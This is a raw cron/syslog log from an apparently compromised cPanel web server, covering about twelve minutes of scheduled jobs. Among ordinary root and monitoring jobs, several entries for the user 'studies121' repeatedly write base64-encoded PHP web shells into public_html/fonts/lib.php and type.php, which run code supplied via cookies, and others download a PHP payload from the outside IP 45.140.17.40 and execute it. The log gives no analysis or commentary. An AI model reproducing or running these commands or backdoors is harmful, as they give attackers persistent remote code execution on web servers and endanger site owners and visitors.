Sep  9 15:52:01 ip-184-168-122-23 CROND[9894]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  9 15:52:01 ip-184-168-122-23 CROND[9896]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  9 15:52:01 ip-184-168-122-23 CROND[9899]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  9 15:52:01 ip-184-168-122-23 CROND[9901]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  9 15:53:01 ip-184-168-122-23 CROND[9992]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  9 15:53:01 ip-184-168-122-23 CROND[9994]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  9 15:53:01 ip-184-168-122-23 CROND[9995]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  9 15:53:01 ip-184-168-122-23 CROND[9996]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  9 15:54:01 ip-184-168-122-23 CROND[10081]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  9 15:54:01 ip-184-168-122-23 CROND[10084]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  9 15:54:01 ip-184-168-122-23 CROND[10083]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  9 15:54:01 ip-184-168-122-23 CROND[10086]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  9 15:54:01 ip-184-168-122-23 CROND[10085]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  9 15:55:02 ip-184-168-122-23 CROND[10171]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  9 15:55:02 ip-184-168-122-23 CROND[10176]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  9 15:55:02 ip-184-168-122-23 CROND[10174]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  9 15:55:02 ip-184-168-122-23 CROND[10172]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  9 15:55:02 ip-184-168-122-23 CROND[10173]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  9 15:55:02 ip-184-168-122-23 CROND[10175]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  9 15:56:01 ip-184-168-122-23 CROND[10263]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  9 15:56:01 ip-184-168-122-23 CROND[10265]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  9 15:56:01 ip-184-168-122-23 CROND[10267]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  9 15:56:01 ip-184-168-122-23 CROND[10266]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  9 15:56:01 ip-184-168-122-23 CROND[10268]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  9 15:57:01 ip-184-168-122-23 CROND[10356]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  9 15:57:01 ip-184-168-122-23 CROND[10358]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  9 15:57:01 ip-184-168-122-23 CROND[10359]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  9 15:57:01 ip-184-168-122-23 CROND[10357]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  9 15:58:01 ip-184-168-122-23 CROND[10440]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  9 15:58:01 ip-184-168-122-23 CROND[10442]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  9 15:58:01 ip-184-168-122-23 CROND[10443]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  9 15:58:01 ip-184-168-122-23 CROND[10445]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  9 15:58:01 ip-184-168-122-23 CROND[10444]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  9 15:59:02 ip-184-168-122-23 CROND[10521]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  9 15:59:02 ip-184-168-122-23 CROND[10522]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  9 15:59:02 ip-184-168-122-23 CROND[10524]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  9 15:59:02 ip-184-168-122-23 CROND[10523]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  9 16:00:01 ip-184-168-122-23 CROND[10645]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  9 16:00:01 ip-184-168-122-23 CROND[10649]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  9 16:00:01 ip-184-168-122-23 CROND[10656]: (root) CMD (/usr/local/cpanel/scripts/shrink_modsec_ip_database -x 2>&1)
Sep  9 16:00:01 ip-184-168-122-23 CROND[10655]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  9 16:00:01 ip-184-168-122-23 CROND[10654]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  9 16:00:01 ip-184-168-122-23 CROND[10652]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  9 16:00:01 ip-184-168-122-23 CROND[10653]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  9 16:00:01 ip-184-168-122-23 CROND[10657]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  9 16:00:01 ip-184-168-122-23 CROND[10658]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Sep  9 16:01:01 ip-184-168-122-23 CROND[10808]: (root) CMD (run-parts /etc/cron.hourly)
Sep  9 16:01:01 ip-184-168-122-23 run-parts(/etc/cron.hourly)[10808]: starting 0anacron
Sep  9 16:01:01 ip-184-168-122-23 CROND[10814]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  9 16:01:01 ip-184-168-122-23 CROND[10816]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  9 16:01:01 ip-184-168-122-23 CROND[10817]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  9 16:01:01 ip-184-168-122-23 CROND[10818]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  9 16:01:01 ip-184-168-122-23 CROND[10815]: (root) CMD (/usr/local/cpanel/whostmgr/bin/dnsqueue > /dev/null 2>&1)
Sep  9 16:01:01 ip-184-168-122-23 run-parts(/etc/cron.hourly)[10828]: finished 0anacron
Sep  9 16:02:01 ip-184-168-122-23 CROND[10913]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  9 16:02:01 ip-184-168-122-23 CROND[10914]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  9 16:02:01 ip-184-168-122-23 CROND[10915]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  9 16:02:01 ip-184-168-122-23 CROND[10917]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  9 16:02:01 ip-184-168-122-23 CROND[10919]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  9 16:03:01 ip-184-168-122-23 CROND[11011]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  9 16:03:01 ip-184-168-122-23 CROND[11012]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  9 16:03:01 ip-184-168-122-23 CROND[11014]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  9 16:03:01 ip-184-168-122-23 CROND[11016]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  9 16:04:01 ip-184-168-122-23 CROND[11092]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  9 16:04:01 ip-184-168-122-23 CROND[11094]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  9 16:04:01 ip-184-168-122-23 CROND[11095]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
